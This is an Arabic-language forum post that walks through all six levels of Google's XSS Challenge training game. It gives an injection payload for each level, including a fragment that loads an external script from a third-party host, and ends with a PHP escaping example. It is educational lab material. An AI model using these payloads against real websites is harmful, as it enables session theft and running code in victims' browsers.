- بواسطة x32x01 ||
في البوست ده هنعمل شرح كامل لكل مستوى، وهنوضح فكرة كل تحدي، وإزاي تقدر تفهمه وتتعلمه، مع أمثلة وأكواد وشرح مبسّط يخليك تطلع فاهم، مش حافظ فقط.
التحديات هنا مش بس نسخ ولصق أكواد؛ الهدف إنك تفهم ليه الكود بيشتغل، وإزاي تقدر تطبّق نفس الفكرة في مواقف حقيقية، لأن XSS واحدة من أخطر الثغرات على الويب، وبتستخدم كتير في اختراق المواقع وجمع الـ Cookies وتنفيذ أكواد على أجهزة الضحايا.
خلّينا نبدأ
ما هي ثغرة XSS وما أهميتها؟
ثغرة Cross-Site Scripting ببساطة بتحصل لما الموقع يسمح للمهاجم يدخل كود JavaScript يتم تنفيذه عند زيارة المستخدم لصفحة معينة.وده ممكن يؤدي لسرقة جلسة الدخول، أو إعادة توجيه المستخدم، أو تشغيل أكواد ضارة.
مثال بسيط على XSS:
Code:
<script>alert("XSS")</script> عشان كده Google عملت لعبة Google XSS Challenge بهدف تدريب الناس على كيفية اكتشاف واستغلال الثغرة بشكل أخلاقي.
الهدف من Google XSS Challenge
اللعبة عبارة عن 6 مستويات، كل مستوى أصعب من اللي قبله، وبيعلّمك:- أماكن مختلفة لحقن كود JavaScript
- فهم السياق (Context) داخل أكواد HTML
- تجاوز الفلاتر والـ sanitization
- التعامل مع الـ URL parameters
- التعامل مع الـ Hash (#) في الرابط
- فهم البروتوكولات مثل javascript:
مستوى 1 - Hello, world of XSS
ده أسهل مستوى، وهدفه بس تتأكد إنك فاهم الأساسيات.الموقع بياخد قيمة query من URL وبيعرضها مباشرة داخل الصفحة بدون حماية.
الحل:
Code:
https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script> - بتضيف سكربت
- السكربت بيتنفذ
- الموقع بيعرض alert(1)
مبروك، خلّصت أول مستوى.
فكرة المستوى:
لو الموقع بياخد input ويعرضه مباشرة → يبقى XSS جاهز.
مستوى 2 - Persistence is key
ده مستوى بيعلمك إن XSS مش دايمًا بيكون في الرابط، ممكن يكون داخل POST أو داخل "محتوى محفوظ".
الحل:
Code:
https://xss-game.appspot.com/level2/framepost-content=<img src='foobar' onerror='alert("xss")'>
الفكرة:
- الصورة fake ومش موجودة
- المتصفح هيشغّل onerror
- وبالتالي يتحقق alert
ده مثال على Event-based XSS.
مستوى 3 - That sinking feeling...
في المستوى ده المحتوى بيتم دمجه داخل الـ HTML attribute، فالمطلوب إنك تكسر البنية وتدخل سكربت جديد.
الحل:
Code:
https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script>
ليه الحل ده ناجح؟
لإنك:- كسرت الـ attribute
- خرجت من الاقتباسات
- حقنت سكربت جديد
مستوى 4 - Context matters
هنا بقى لازم تفهم إن كل XSS ليه سياق مختلف، والسياق اللي الموقع حاطط فيه القيمة هو اللي بيحدد شكل الهجوم.
الحل:
Code:
https://xss-game.appspot.com/level4/frame?timer=1')%3Balert('1
ليه كده؟
السطر بيكسر دالة JavaScript موجودة في الصفحة، وبيفتح طريق لحقن alert.
مستوى 5 - Breaking protocol
Google هنا بتلعب على البروتوكولات اللي بتبدأ بها الروابط.الموقع بياخد رابط Redirect بدون تحقق.
الحل:
Code:
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
الفكرة:
استخدام البروتوكول javascript: بدل httpده يُعتبر هجوم معروف باسم JavaScript URL XSS.
مستوى 6 - Follow the X
هنا الأصعب… لازم تضيف ملف JavaScript كامل يتنفذ داخل الصفحة.
الحل:
Code:
https://xss-game.appspot.com/level6/frame#HTTPS://dj-infosec.divshot.io/content.js
الفكرة:
القيمة بعد الـ hash (#) بيتم استخدامها لتحميل سكربت خارجيوده بيعلمك إن URL fragments ممكن تكون كارثية أمنيًا لو ما اتفلترتش.
مثال شامل للتعامل مع XSS في مواقع الويب
عشان نفهم أكتر، ده مثال عملي لتأمين الصفحة ضد XSS:
كود خطر:
PHP:
echo $_GET['name'];
كود آمن:
PHP:
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
ليه ده مهم؟
لإنك بمنتهى البساطة منعت أي سكربت من العمل لأن المتصفح هيعرضه كنص مش كـ كود.
نصائح مهمة لتعلم XSS للمبتدئين
- اختبر مدخلاتك Input Validation
- افهم الـ Context كويس
- استخدم أدوات زي Burp Suite
- اتعلم أنواع XSS:
- Stored
- Reflected
- DOM Based
- متستخدمش المعلومات دي للاختراق غير القانوني

الخلاصة
تحدي Google XSS Challenge واحد من أفضل الطرق العملية لفهم ثغرات XSS والتعامل معها بطريقة آمنة.كل مستوى بيعلمك فكرة جديدة مش بس كود.
ولو قدرت تفهم الأفكار وراء كل تطبيق، هتقدر تكتشف الثغرات دي بسهولة في أي موقع تاني.
وفي نهاية اللعبة Google بتديك "كيك" احتفالي